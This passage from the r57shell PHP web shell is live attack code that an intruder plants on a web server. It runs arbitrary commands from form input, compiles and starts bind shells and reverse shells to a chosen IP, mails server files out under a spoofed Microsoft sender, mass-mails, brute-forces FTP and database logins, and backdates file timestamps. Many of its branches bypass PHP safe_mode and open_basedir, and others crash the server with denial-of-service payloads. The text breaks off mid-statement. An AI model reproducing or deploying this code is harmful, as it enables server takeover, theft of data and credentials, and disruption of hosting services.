  1867. if(!empty($id)) { echo ws(3).$id."<br>"; }
  1868. else if(@function_exists('posix_geteuid') && @function_exists('posix_getegid') && @function_exists('posix_getgrgid') && @function_exists('posix_getpwuid'))
  1869.  {
  1870.  $euserinfo  = @posix_getpwuid(@posix_geteuid());
  1871.  $egroupinfo = @posix_getgrgid(@posix_getegid());
  1872.  echo ws(3).'uid='.$euserinfo['uid'].' ( '.$euserinfo['name'].' ) gid='.$egroupinfo['gid'].' ( '.$egroupinfo['name'].' )<br>';
  1873.  }
  1874. else echo ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>";
  1875. echo ws(3).$dir;
  1876. echo ws(3).'( '.perms(@fileperms($dir)).' )';
  1877. echo "</b></font>";
  1878. }
  1879. else
  1880. {
  1881. echo '<font color=blue><b>OS :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>';
  1882. echo "</td><td>";
  1883. echo "<font face=Verdana size=-2 color=red><b>";
  1884. echo ws(3).@substr(@php_uname(),0,120)."<br>";
  1885. echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
  1886. echo ws(3).@getenv("USERNAME")."<br>";
  1887. echo ws(3).$dir;
  1888. echo "<br></font>";
  1889. }
  1890. echo "</font>";
  1891. echo "</td></tr></table>";
  1892.  
  1893. if(!empty($_POST['cmd']) && $_POST['cmd']=="mail")
  1894.  {
  1895.  $res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$_POST['from']."\r\n");
  1896.  err(6+$res);
  1897.  $_POST['cmd']="";  
  1898.  }
  1899. if(!empty($_POST['cmd']) && $_POST['cmd']=="mail_file" && !empty($_POST['loc_file']))
  1900.  {  
  1901.   if($file=@fopen($_POST['loc_file'],"r")){ $filedump = @fread($file,@filesize($_POST['loc_file'])); @fclose($file); }
  1902.   else if ($file=readzlib($_POST['loc_file'])) { $filedump = $file; } else { err(1,$_POST['loc_file']); $_POST['cmd']=""; }
  1903.   if(isset($_POST['cmd']))
  1904.   {
  1905.     $filename = @basename($_POST['loc_file']);
  1906.     $content_encoding=$mime_type='';
  1907.     compress($filename,$filedump,$_POST['compress']);
  1908.     $attach = array(
  1909.                     "name"=>$filename,
  1910.                     "type"=>$mime_type,
  1911.                     "content"=>$filedump
  1912.                    );
  1913.     if(empty($_POST['subj'])) { $_POST['subj'] = 'file from r57shell'; }
  1914.     if(empty($_POST['from'])) { $_POST['from'] = 'billy@microsoft.com'; }
  1915.     $res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach);
  1916.     err(6+$res);
  1917.     $_POST['cmd']="";                  
  1918.   }
  1919.  }
  1920. if(!empty($_POST['cmd']) && $_POST['cmd']=="mail_bomber" && !empty($_POST['mail_flood']) && !empty($_POST['mail_size']))
  1921.  {
  1922.  for($h=1;$h<=$_POST['mail_flood'];$h++){
  1923.   $res = mail($_POST['to'],$_POST['subj'],$_POST['text'].str_repeat(" ", 1024*$_POST['mail_size']),"From: ".$_POST['from']."\r\n");
  1924.  }
  1925.  err(6+$res);
  1926.  $_POST['cmd']="";  
  1927.  }
  1928. if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text")
  1929. {
  1930. $_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\'';
  1931. }
  1932. if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_")
  1933.  {
  1934.  switch($_POST['what'])
  1935.    {
  1936.    case 'own':
  1937.    @chown($_POST['param1'],$_POST['param2']);
  1938.    break;
  1939.    case 'grp':
  1940.    @chgrp($_POST['param1'],$_POST['param2']);
  1941.    break;
  1942.    case 'mod':
  1943.    @chmod($_POST['param1'],intval($_POST['param2'], 8));
  1944.    break;
  1945.    }
  1946.  $_POST['cmd']="";
  1947.  }
  1948. if(!empty($_POST['cmd']) && $_POST['cmd']=="mk")
  1949.  {
  1950.    switch($_POST['what'])
  1951.    {
  1952.      case 'file':
  1953.       if($_POST['action'] == "create")
  1954.        {
  1955.        if(@file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],"w")) { err(2,$_POST['mk_name']); $_POST['cmd']=""; }
  1956.        else {
  1957.         @fclose($file);
  1958.         $_POST['e_name'] = $_POST['mk_name'];
  1959.         $_POST['cmd']="edit_file";
  1960.         echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text61']."</b></font></div></td></tr></table>";
  1961.         }
  1962.        }
  1963.        else if($_POST['action'] == "delete")
  1964.        {
  1965.        if(unlink($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text63']."</b></font></div></td></tr></table>";
  1966.        $_POST['cmd']="";
  1967.        }
  1968.      break;
  1969.      case 'dir':
  1970.       if($_POST['action'] == "create"){
  1971.       if(@mkdir($_POST['mk_name']))
  1972.        {
  1973.          $_POST['cmd']="";
  1974.          echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text62']."</b></font></div></td></tr></table>";
  1975.        }
  1976.       else { err(2,$_POST['mk_name']); $_POST['cmd']=""; }
  1977.       }
  1978.       else if($_POST['action'] == "delete"){
  1979.       if(@rmdir($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text64']."</b></font></div></td></tr></table>";
  1980.       $_POST['cmd']="";
  1981.       }
  1982.      break;
  1983.    }
  1984.  }
  1985.  
  1986.  
  1987. if(!empty($_POST['cmd']) && $_POST['cmd']=="touch")
  1988. {
  1989. if(!$_POST['file_name_r'])
  1990.  {
  1991.   $datar = $_POST['day']." ".$_POST['month']." ".$_POST['year']." ".$_POST['chasi']." hours ".$_POST['minutes']." minutes ".$_POST['second']." seconds";
  1992.   $datar = @strtotime($datar);
  1993.   @touch($_POST['file_name'],$datar,$datar);}
  1994. else{
  1995.   @touch($_POST['file_name'],@filemtime($_POST['file_name_r']),@filemtime($_POST['file_name_r']));
  1996. }
  1997. $_POST['cmd']="";
  1998. }
  1999.  
  2000.  
  2001. if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !empty($_POST['e_name']))
  2002.  {
  2003.  if(!$file=@fopen($_POST['e_name'],"r+")) { $filedump = @fread($file,@filesize($_POST['e_name'])); @fclose($file); $only_read = 1; }
  2004.  if($file=@fopen($_POST['e_name'],"r")) { $filedump = @fread($file,@filesize($_POST['e_name'])); @fclose($file); }
  2005.  else if ($file=readzlib($_POST['e_name'])) { $filedump = $file; $only_read = 1; } else { err(1,$_POST['e_name']); $_POST['cmd']=""; }
  2006.  if(isset($_POST['cmd']))
  2007.  {
  2008.  echo $table_up3;
  2009.  echo $font;
  2010.  echo "<form name=save_file method=post>";
  2011.  echo ws(3)."<b>".$_POST['e_name']."</b>";
  2012.  echo "<div align=center><textarea name=e_text cols=121 rows=24>";
  2013.  echo @htmlspecialchars($filedump);
  2014.  echo "</textarea>";
  2015.  echo "<input type=hidden name=e_name value=".$_POST['e_name'].">";
  2016.  echo "<input type=hidden name=dir value=".$dir.">";
  2017.  echo "<input type=hidden name=cmd value=save_file>";
  2018.  echo (!empty($only_read)?("<br><br>".$lang[$language.'_text44']):("<br><br><input type=submit name=submit value=\" ".$lang[$language.'_butt10']." \">"));
  2019.  echo "</div>";
  2020.  echo "</font>";
  2021.  echo "</form>";
  2022.  echo "</td></tr></table>";
  2023.  exit();
  2024.  }
  2025.  }
  2026. if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file")
  2027.  {
  2028.  $mtime = @filemtime($_POST['e_name']);
  2029.  if((!$file=@fopen($_POST['e_name'],"w")) && (!function_exists('file_put_contents'))) { err(0,$_POST['e_name']); }
  2030.  else {
  2031.  if($unix) $_POST['e_text']=@str_replace("\r\n","\n",$_POST['e_text']);
  2032.  @fwrite($file,$_POST['e_text']) or @fputs($file,$_POST['e_text']) or @file_put_contents($_POST['e_name'],$_POST['e_text']);
  2033.  @touch($_POST['e_name'],$mtime,$mtime);
  2034.  $_POST['cmd']="";
  2035.  echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text45']."</b></font></div></td></tr></table>";
  2036.  }
  2037.  }
  2038.  
  2039.  
  2040. if (!empty($_POST['proxy_port'])&&($_POST['use']=="Perl"))
  2041. {
  2042.  cf("/tmp/prxpl",$prx_pl);
  2043.  $p2=which("perl");
  2044.  $blah = ex($p2." /tmp/prxpl ".$_POST['proxy_port']." &");
  2045.  $_POST['cmd']="ps -aux | grep prxpl";
  2046. }
  2047. if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C"))
  2048. {
  2049.  cf("/tmp/bd.c",$port_bind_bd_c);
  2050.  $blah = ex("gcc -o /tmp/bd /tmp/bd.c");
  2051.  @unlink("/tmp/bd.c");
  2052.  $blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &");
  2053.  $_POST['cmd']="ps -aux | grep bd";
  2054. }
  2055. if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl"))
  2056. {
  2057.  cf("/tmp/bdpl",$port_bind_bd_pl);
  2058.  $p2=which("perl");
  2059.  $blah = ex($p2." /tmp/bdpl ".$_POST['port']." &");
  2060.  $_POST['cmd']="ps -aux | grep bdpl";
  2061. }
  2062. if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl"))
  2063. {
  2064.  cf("/tmp/back",$back_connect);
  2065.  $p2=which("perl");
  2066.  $blah = ex($p2." /tmp/back ".$_POST['ip']." ".$_POST['port']." &");
  2067.  $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
  2068. }
  2069. if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C"))
  2070. {
  2071.  cf("/tmp/back.c",$back_connect_c);
  2072.  $blah = ex("gcc -o /tmp/backc /tmp/back.c");
  2073.  @unlink("/tmp/back.c");
  2074.  $blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &");
  2075.  $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
  2076. }
  2077. if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl"))
  2078. {
  2079.  cf("/tmp/dp",$datapipe_pl);
  2080.  $p2=which("perl");
  2081.  $blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &");
  2082.  $_POST['cmd']="ps -aux | grep dp";
  2083. }
  2084. if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C"))
  2085. {
  2086.  cf("/tmp/dpc.c",$datapipe_c);
  2087.  $blah = ex("gcc -o /tmp/dpc /tmp/dpc.c");
  2088.  @unlink("/tmp/dpc.c");
  2089.  $blah = ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &");
  2090.  $_POST['cmd']="ps -aux | grep dpc";
  2091. }
  2092.  
  2093. if (!empty($_POST['alias']) && isset($aliases[$_POST['alias']])) { $_POST['cmd'] = $aliases[$_POST['alias']]; }
  2094.  
  2095. for($upl=0;$upl<=16;$upl++)
  2096. {
  2097.  if(!empty($HTTP_POST_FILES['userfile'.$upl]['name'])){
  2098.   if(!empty($_POST['new_name']) && ($upl==0)) { $nfn = $_POST['new_name']; }
  2099.   else { $nfn = $HTTP_POST_FILES['userfile'.$upl]['name']; }
  2100.   @move_uploaded_file($HTTP_POST_FILES['userfile'.$upl]['tmp_name'],$_POST['dir']."/".$nfn)
  2101.   or print("<font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES['userfile'.$upl]['name']."</div></font>");
  2102.  }
  2103. }
  2104.  
  2105. if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file']))
  2106. {
  2107.  switch($_POST['with'])
  2108.  {
  2109.  case 'fopen':
  2110.  $datafile = @implode("", @file($_POST['rem_file']));
  2111.  if($datafile)
  2112.   {
  2113.    $w_file=@fopen($_POST['loc_file'],"wb") or @function_exists('file_put_contents') or err(0);
  2114.    if($w_file)
  2115.    {
  2116.     @fwrite($w_file,$datafile) or @fputs($w_file,$datafile) or @file_put_contents($_POST['loc_file'],$datafile);
  2117.     @fclose($w_file);
  2118.    }
  2119.   }
  2120.  $_POST['cmd'] = '';
  2121.  break;
  2122.  case 'wget':
  2123.  $_POST['cmd'] = which('wget')." ".$_POST['rem_file']." -O ".$_POST['loc_file']."";
  2124.  break;
  2125.  case 'fetch':
  2126.  $_POST['cmd'] = which('fetch')." -o ".$_POST['loc_file']." -p ".$_POST['rem_file']."";
  2127.  break;
  2128.  case 'lynx':
  2129.  $_POST['cmd'] = which('lynx')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";
  2130.  break;
  2131.  case 'links':
  2132.  $_POST['cmd'] = which('links')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";
  2133.  break;
  2134.  case 'GET':
  2135.  $_POST['cmd'] = which('GET')." ".$_POST['rem_file']." > ".$_POST['loc_file']."";
  2136.  break;
  2137.  case 'curl':
  2138.  $_POST['cmd'] = which('curl')." ".$_POST['rem_file']." -o ".$_POST['loc_file']."";
  2139.  break;
  2140.  }
  2141. }
  2142. if(!empty($_POST['cmd']) && (($_POST['cmd']=="ftp_file_up") || ($_POST['cmd']=="ftp_file_down")))
  2143.  {
  2144.  list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
  2145.  if(empty($ftp_port)) { $ftp_port = 21; }
  2146.  $connection = @ftp_connect ($ftp_server,$ftp_port,10);
  2147.  if(!$connection) { err(3); }
  2148.  else
  2149.   {  
  2150.   if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) { err(4); }
  2151.   else
  2152.    {
  2153.    if($_POST['cmd']=="ftp_file_down") { if(chop($_POST['loc_file'])==$dir) { $_POST['loc_file']=$dir.((!$unix)?('\\'):('/')).basename($_POST['ftp_file']); } @ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']);}
  2154.    if($_POST['cmd']=="ftp_file_up")   { @ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']);}
  2155.    }
  2156.   }
  2157.  @ftp_close($connection);
  2158.  $_POST['cmd'] = "";
  2159.  }
  2160.  
  2161. if(!empty($_POST['cmd']) && (($_POST['cmd']=="ftp_brute") || ($_POST['cmd']=="db_brute")))
  2162.  {
  2163.  if($_POST['cmd']=="ftp_brute"){
  2164.   list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
  2165.   if(empty($ftp_port)) { $ftp_port = 21; }
  2166.   $connection = @ftp_connect ($ftp_server,$ftp_port,10);
  2167.  }else if($_POST['cmd']=="db_brute"){
  2168.    $connection = 1;
  2169.  }
  2170.  if(!$connection) { err(3); $_POST['cmd'] = ""; }
  2171.  else if(($_POST['brute_method']=='passwd') && (!$users=get_users('/etc/passwd'))){ echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$lang[$language.'_text96']."</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; }
  2172.  else if(($_POST['brute_method']=='dic') && (!$users=get_users($_POST['dictionary']))){ echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>Can\'t get password list</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; }
  2173.  if($_POST['cmd']=="ftp_brute"){@ftp_close($connection);}
  2174.  }
  2175.  
  2176. echo $table_up3;
  2177. if (empty($_POST['cmd']) && !$safe_mode && !$open_basedir) { $_POST['cmd']=(!$unix)?("dir"):("ls -lia"); }
  2178. else if(empty($_POST['cmd']) && ($safe_mode || $open_basedir)){ $_POST['cmd']="safe_dir"; }
  2179. echo $font.$lang[$language.'_text1'].": <b>".$_POST['cmd']."</b></font></td></tr><tr><td><b><div align=center><textarea name=report cols=121 rows=15>";
  2180. if($safe_mode || $open_basedir)
  2181. {
  2182.  switch($_POST['cmd'])
  2183.  {
  2184.  case 'safe_dir':
  2185.   $d=@dir($dir);
  2186.   if ($d)
  2187.    {
  2188.    while (false!==($file=$d->read()))
  2189.     {
  2190.      if ($file=="." || $file=="..") continue;
  2191.      @clearstatcache();
  2192.      @list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
  2193.      if(!$unix){
  2194.      echo date("d.m.Y H:i",$mtime);
  2195.      if(@is_dir($file)) echo "  <DIR> "; else printf("% 7s ",$size);
  2196.      }
  2197.      else{
  2198.      if(@function_exists('posix_getpwuid')){
  2199.       $owner = @posix_getpwuid($uid);
  2200.       $grgid = @posix_getgrgid($gid);
  2201.      }else{$owner['name']=$grgid['name']='';}
  2202.      echo $inode." ";
  2203.      echo perms(@fileperms($file));
  2204.      @printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
  2205.      echo date("d.m.Y H:i ",$mtime);
  2206.      }
  2207.      echo "$file\n";
  2208.     }
  2209.    $d->close();
  2210.    }
  2211.   else if(@function_exists('glob'))
  2212.    {
  2213.        function eh($errno, $errstr, $errfile, $errline)
  2214.         {
  2215.           global $D, $c, $i;
  2216.           preg_match("/SAFE\ MODE\ Restriction\ in\ effect\..*whose\ uid\ is(.*)is\ not\ allowed\ to\ access(.*)owned by uid(.*)/", $errstr, $o);
  2217.           if($o){ $D[$c] = $o[2]; $c++;}
  2218.         }
  2219.        $error_reporting = @ini_get('error_reporting');
  2220.        error_reporting(E_WARNING);
  2221.        @ini_set("display_errors", 1);
  2222.        $root = "/";
  2223.        if($dir) $root = $dir;
  2224.        $c = 0; $D = array();
  2225.        @set_error_handler("eh");
  2226.        $chars = "_-.01234567890abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
  2227.        for($i=0; $i < strlen($chars); $i++)
  2228.        {
  2229.         $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}";
  2230.         $prevD = $D[count($D)-1];
  2231.         @glob($path."*");
  2232.         if($D[count($D)-1] != $prevD)
  2233.          {
  2234.            for($j=0; $j < strlen($chars); $j++)
  2235.            {
  2236.             $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}";
  2237.             $prevD2 = $D[count($D)-1];
  2238.             @glob($path."*");
  2239.             if($D[count($D)-1] != $prevD2)
  2240.              {
  2241.               for($p=0; $p < strlen($chars); $p++)
  2242.                {
  2243.                 $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}";
  2244.                 $prevD3 = $D[count($D)-1];
  2245.                 @glob($path."*");
  2246.                 if($D[count($D)-1] != $prevD3)
  2247.                  {
  2248.                   for($r=0; $r < strlen($chars); $r++)
  2249.                    {
  2250.                     $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}{$chars[$r]}";
  2251.                     @glob($path."*");
  2252.                    }
  2253.                  }        
  2254.                }
  2255.              }        
  2256.            }    
  2257.          }
  2258.        }
  2259.        $D = array_unique($D);
  2260.        foreach($D as $item) echo htmlspecialchars("{$item}")."\r\n";
  2261.        error_reporting($error_reporting);
  2262.    }
  2263.   else echo $lang[$language.'_text29'];
  2264.  break;
  2265.   case 'test1':
  2266.   $ci = @curl_init("file://".$_POST['test1_file']);
  2267.   $cf = @curl_exec($ci);
  2268.   echo htmlspecialchars($cf);
  2269.   break;
  2270.   case 'test2':
  2271.   @include($_POST['test2_file']);
  2272.   break;
  2273.   case 'test3':
  2274.   if(empty($_POST['test3_port'])) { $_POST['test3_port'] = "3306"; }
  2275.   $db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']);
  2276.   if($db)
  2277.    {
  2278.    if(@mysql_select_db($_POST['test3_md'],$db))
  2279.     {
  2280.      @mysql_query("DROP TABLE IF EXISTS temp_r57_table");
  2281.      @mysql_query("CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL )");
  2282.      @mysql_query("LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table");
  2283.      $r = @mysql_query("SELECT * FROM temp_r57_table");
  2284.      while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0])."\r\n"; }
  2285.      @mysql_query("DROP TABLE IF EXISTS temp_r57_table");
  2286.     }
  2287.     else echo "[-] ERROR! Can't select database";
  2288.    @mysql_close($db);
  2289.    }
  2290.   else echo "[-] ERROR! Can't connect to mysql server";
  2291.   break;
  2292.   case 'test4':
  2293.   if(empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; }
  2294.   $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']);
  2295.   if($db)
  2296.    {
  2297.    if(@mssql_select_db($_POST['test4_md'],$db))
  2298.     {
  2299.      @mssql_query("drop table r57_temp_table",$db);
  2300.      @mssql_query("create table r57_temp_table ( string VARCHAR (500) NULL)",$db);
  2301.      @mssql_query("insert into r57_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db);
  2302.      $res = mssql_query("select * from r57_temp_table",$db);
  2303.      while(($row=@mssql_fetch_row($res)))
  2304.       {
  2305.       echo htmlspecialchars($row[0])."\r\n";
  2306.       }
  2307.     @mssql_query("drop table r57_temp_table",$db);
  2308.     }
  2309.     else echo "[-] ERROR! Can't select database";
  2310.    @mssql_close($db);
  2311.    }
  2312.   else echo "[-] ERROR! Can't connect to MSSQL server";
  2313.   break;
  2314.   case 'test5':
  2315.   $temp=tempnam($dir, "fname");
  2316.   if (@file_exists($temp)) @unlink($temp);
  2317.   $extra = "-C ".$_POST['test5_file']." -X $temp";
  2318.   @mb_send_mail(NULL, NULL, NULL, NULL, $extra);
  2319.   $str = moreread($temp);
  2320.   echo htmlspecialchars($str);
  2321.   @unlink($temp);
  2322.   break;
  2323.   case 'test6':
  2324.   $stream = @imap_open('/etc/passwd', "", "");
  2325.   $dir_list = @imap_list($stream, trim($_POST['test6_file']), "*");
  2326.   for ($i = 0; $i < count($dir_list); $i++) echo htmlspecialchars($dir_list[$i])."\r\n";
  2327.   @imap_close($stream);
  2328.   break;
  2329.   case 'test7':
  2330.   $stream = @imap_open($_POST['test7_file'], "", "");
  2331.   $str = @imap_body($stream, 1);
  2332.   echo htmlspecialchars($str);
  2333.   @imap_close($stream);
  2334.   break;
  2335.   case 'test8':
  2336.   $temp=@tempnam($_POST['test8_file2'], "copytemp");
  2337.   $str = readzlib($_POST['test8_file1'],$temp);
  2338.   echo htmlspecialchars($str);
  2339.   @unlink($temp);
  2340.   break;
  2341.   case 'test9':
  2342.   @ini_restore("safe_mode");
  2343.   @ini_restore("open_basedir");
  2344.   $str = moreread($_POST['test9_file']);
  2345.   echo htmlspecialchars($str);
  2346.   break;
  2347.   case 'test10':
  2348.   @ob_clean();
  2349.   $error_reporting = @ini_get('error_reporting');
  2350.   error_reporting(E_ALL ^ E_NOTICE);
  2351.   @ini_set("display_errors", 1);
  2352.   $str=fopen($_POST['test10_file'],"r");
  2353.   while(!feof($str)){print htmlspecialchars(fgets($str));}
  2354.   fclose($str);
  2355.   error_reporting($error_reporting);
  2356.   break;
  2357.   case 'test11':
  2358.   @ob_clean();
  2359.   $temp = 'zip://'.$_POST['test11_file'];
  2360.   $str = moreread($temp);
  2361.   echo htmlspecialchars($str);
  2362.   break;
  2363.   case 'test12':
  2364.   @ob_clean();
  2365.   $temp = 'compress.bzip2://'.$_POST['test12_file'];
  2366.   $str = moreread($temp);
  2367.   echo htmlspecialchars($str);
  2368.   break;
  2369.   case 'test13':
  2370.   @error_log($_POST['test13_file1'], 3, "php://../../../../../../../../../../../".$_POST['test13_file2']);
  2371.   echo $lang[$language.'_text61'];
  2372.   break;
  2373.   case 'test14':
  2374.   @session_save_path($_POST['test14_file2']."\0;/tmp");
  2375.   @session_start();
  2376.   @$_SESSION[php]=$_POST['test14_file1'];
  2377.   echo $lang[$language.'_text61'];
  2378.   break;
  2379.   case 'test15':
  2380.  
  2381.   @readfile($_POST['test15_file1'], 3, "php://../../../../../../../../../../../".$_POST['test15_file2']);
  2382.   echo $lang[$language.'_text61'];
  2383.   break;
  2384.   case 'test16':
  2385.   if (fopen('srpath://../../../../../../../../../../../'.$_POST['test16_file'],"a")) echo $lang[$language.'_text61'];
  2386.   break;
  2387.   case 'test17_1':
  2388.   @unlink('symlinkread');
  2389.   @symlink('a/a/a/a/a/a/', 'dummy');
  2390.   @symlink('dummy/../../../../../../../../../../../'.$_POST['test17_file'], 'symlinkread');
  2391.   @unlink('dummy');
  2392.   while (1)
  2393.    {
  2394.     @symlink('.', 'dummy');
  2395.     @unlink('dummy');
  2396.    }
  2397.   break;
  2398.   case 'test17_2':
  2399.   $str='';
  2400.   while (strlen($str) < 3) {  
  2401.    $temp = 'symlinkread';
  2402.    $str = moreread($temp);
  2403.    if($str){ @ob_clean(); echo htmlspecialchars($str);}
  2404.   }
  2405.   break;
  2406.   case 'test17_3':
  2407.   $dir = $files = array();
  2408.   if(@version_compare(@phpversion(),"5.0.0")>=0){
  2409.    while (@count($dir) < 3) {
  2410.     $dir=@scandir('symlinkread');
  2411.     if (@count($dir) > 2) {@ob_clean(); @print_r($dir); }
  2412.    }
  2413.   }
  2414.   else {
  2415.    while (@count($files) < 3) {
  2416.     $dh  = @opendir('symlinkread');
  2417.     while (false !== ($filename = @readdir($dh))) {
  2418.      $files[] = $filename;
  2419.     }
  2420.     if(@count($files) > 2){@ob_clean(); @print_r($files); }
  2421.    }
  2422.   }
  2423.   break;
  2424.  }
  2425. }
  2426. if((!$safe_mode) && ($_POST['cmd']!="php_eval") && ($_POST['cmd']!="mysql_dump") && ($_POST['cmd']!="db_query") && ($_POST['cmd']!="ftp_brute") && ($_POST['cmd']!="db_brute")){
  2427.  $cmd_rep = ex($_POST['cmd']);
  2428.  if(!$unix) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; }
  2429.  else { echo @htmlspecialchars($cmd_rep)."\n"; }}
  2430.  
  2431. switch($_POST['cmd'])
  2432. {
  2433.  case 'dos1':
  2434.  function a() { a(); } a();
  2435.  break;
  2436.  case 'dos2':
  2437.  @pack("d4294967297", 2);
  2438.  break;
  2439.  case 'dos3':
  2440.  $a = "a";@unserialize(@str_replace('1', 2147483647, @serialize($a)));
  2441.  break;
  2442.  case 'dos4':
  2443.  $t = array(1);while (1) {$a[] = &$t;};
  2444.  break;
  2445.  case 'dos5':
  2446.  @dl("sqlite.so");$db = new SqliteDatabase("foo");
  2447.  break;
  2448.  case 'dos6':
  2449.  preg_match('/(.(?!b))*/', @str_repeat("a", 10000));
  2450.  break;
  2451.  case 'dos7':
  2452.  @str_replace("A", str_repeat("B", 65535), str_repeat("A", 65538));
  2453.  break;
  2454.  case 'dos8':
  2455.  @shell_exec("killall -11 httpd");
  2456.  break;
  2457.  case 'dos9':
  2458.  function cx(){ @tempnam("/www/", "../../../../../../var/tmp/cx"); cx(); } cx();
  2459.  break;
  2460.  case 'dos10':
  2461.  $a = @str_repeat ("A",438013);$b = @str_repeat ("B",951140);@wordwrap ($a,0,$b,0);
  2462.  break;
  2463.  case 'dos11':
  2464.  @array_fill(1,123456789,"Infigo-IS");
  2465.  break;
  2466.  case 'dos12':
  2467.  @substr_compare("A","A",12345678);
  2468.  break;
  2469.  case 'dos13':
  2470.  @unserialize("a:2147483649:{");
  2471.  break;
  2472.  case 'dos14':
  2473.  $Data = @str_ireplace("\n", "<br>", $Data);
  2474.  break;
  2475.  case 'dos15':
  2476.  function toUTF($x) {return chr(($x >> 6) + 192) . chr(($x & 63) + 128);}
  2477.  $str1 = "";for($i=0; $i < 64; $i++){ $str1 .= toUTF(977);}
  2478.  @htmlentities($str1, ENT_NOQUOTES, "UTF-8");
  2479.  break;
  2480.  case 'dos16':
  2481.  $r = @zip_open("x.zip");$e = @zip_read($r);$x = @zip_entry_open($r, $e);
  2482.  for ($i=0; $i<1000; $i++) $arr[$i]=array(array(""));
  2483.  unset($arr[600]);@zip_entry_read($e, -1);unset($arr[601]);
  2484.  break;
  2485.  case 'dos17':
  2486.  $z = "UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU";
  2487.  $y = "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD";
  2488.  $x = "AQ                                                                        ";
  2489.  unset($z);unset($y);$x = base64_decode($x);$y = @sqlite_udf_decode_binary($x);unset($x);
  2490.  break;
  2491.  case 'dos18':
  2492.  $MSGKEY = 519052;$msg_id = @msg_get_queue ($MSGKEY, 0600);
  2493.  if (!@msg_send ($msg_id, 1, 'AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH', false, true, $msg_err))
